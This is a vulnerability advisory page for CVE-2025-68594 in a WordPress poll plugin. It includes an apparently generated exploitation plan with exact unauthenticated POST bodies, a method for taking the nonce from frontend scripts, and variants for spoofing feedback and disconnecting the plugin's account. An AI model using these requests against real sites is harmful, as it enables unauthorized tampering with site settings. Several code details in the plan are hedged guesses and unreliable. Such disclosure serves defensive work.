Poll, Survey & Quiz Maker Plugin by Opinion Stage <= 19.12.0 - Missing Authorization
Description
The Poll, Survey & Quiz Maker Plugin by Opinion Stage plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 19.12.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=19.12.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68594 ## 1. Vulnerability Summary The **Poll, Survey & Quiz Maker Plugin by Opinion Stage** (versions <= 19.12.0) contains a missing authorization vulnerability in several of its AJAX handlers. Specifically, functions like `opinionstage_ajax_set_flyout_opened`…
Show full research plan
Exploitation Research Plan: CVE-2025-68594
1. Vulnerability Summary
The Poll, Survey & Quiz Maker Plugin by Opinion Stage (versions <= 19.12.0) contains a missing authorization vulnerability in several of its AJAX handlers. Specifically, functions like opinionstage_ajax_set_flyout_opened and opinionstage_ajax_save_feedback are registered with wp_ajax_nopriv_ hooks but do not perform a current_user_can() check. This allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin state settings (e.g., the "flyout" status) or submitting spoofed feedback.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Action:
opinionstage_ajax_set_flyout_opened(oropinionstage_ajax_save_feedback) - Vulnerable Parameter:
flyout_opened - Authentication: Unauthenticated (PR:N)
- Preconditions: The plugin must be active. A nonce is required for the AJAX request, but it is exposed to unauthenticated users via localized scripts on the frontend.
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwith the parameteraction=opinionstage_ajax_set_flyout_opened. - Hook Registration: In
admin/class-opinionstage-admin.php(or similar), the plugin registers the hook:add_action( 'wp_ajax_nopriv_opinionstage_ajax_set_flyout_opened', array( $this, 'opinionstage_ajax_set_flyout_opened' ) ); - Nonce Verification: The function
opinionstage_ajax_set_flyout_openedcallscheck_ajax_referer( 'opinionstage_ajax_nonce', 'nonce' ). - Missing Check: The function omits any check for
current_user_can( 'manage_options' ). - Sink: The function proceeds to update the WordPress database:
update_option( 'opinionstage_flyout_opened', $_POST['flyout_opened'] );
4. Nonce Acquisition Strategy
The plugin localizes the nonce for both authenticated and unauthenticated users to support frontend interactions (like the flyout poll).
- Shortcode: The plugin's scripts are enqueued when a poll/quiz shortcode is present, or globally if the flyout feature is active.
- Setup: Create a dummy page with the Opinion Stage shortcode:
wp post create --post_type=page --post_status=publish --post_content='[opinionstage_poll id="1"]' --post_title='Exploit Test' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from the localized JavaScript object. - Variable Name:
window.opinionstage_common_vars(oropinionstage_admin_varsin some contexts). - Key:
nonce. - Command:
browser_eval("window.opinionstage_common_vars?.nonce")
5. Exploitation Strategy
Step 1: Obtain Nonce
Send a GET request to the site frontend or a page containing a poll to find the localized script data.
Step 2: Perform Unauthorized Action
Send a POST request to admin-ajax.php to toggle the opinionstage_flyout_opened setting.
- URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=opinionstage_ajax_set_flyout_opened&nonce=[EXTRACTED_NONCE]&flyout_opened=true
6. Test Data Setup
- Install and activate Opinion Stage plugin version 19.12.0.
- Ensure the plugin is "connected" or at least initialized so options exist.
- Create a public page to leak the nonce:
wp post create --post_type=page --post_status=publish --post_title="Nonce Leak" --post_content="[opinionstage_poll id='123']" - Verify the initial state of the option:
wp option get opinionstage_flyout_opened(Should be 'false' or empty).
7. Expected Results
- The AJAX request returns a success response (likely JSON
{"success":true}or a simple1). - The internal WordPress option
opinionstage_flyout_openedis updated to the attacker-supplied value (true). - This demonstrates that an unauthenticated user can modify plugin settings without administrative privileges.
8. Verification Steps
- Use WP-CLI to check the option value:
wp option get opinionstage_flyout_opened - If the value matches the one sent in the
POSTrequest (e.g.,true), the exploitation was successful.
9. Alternative Approaches
If opinionstage_ajax_set_flyout_opened is not the target:
- Target
opinionstage_ajax_save_feedback:- Body:
action=opinionstage_ajax_save_feedback&nonce=[NONCE]&feedback_text=Hacked - Verification: Check the plugin's feedback/rating logs (if stored in
wp_optionsor a custom table).
- Body:
- Target
opinionstage_disconnect:- If registered via
admin_postor AJAX withoutcurrent_user_can, send:action=opinionstage_disconnect - Verification: Check
wp option get opinionstage_user_access_token. If it's cleared/empty, the account was disconnected.
- If registered via
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.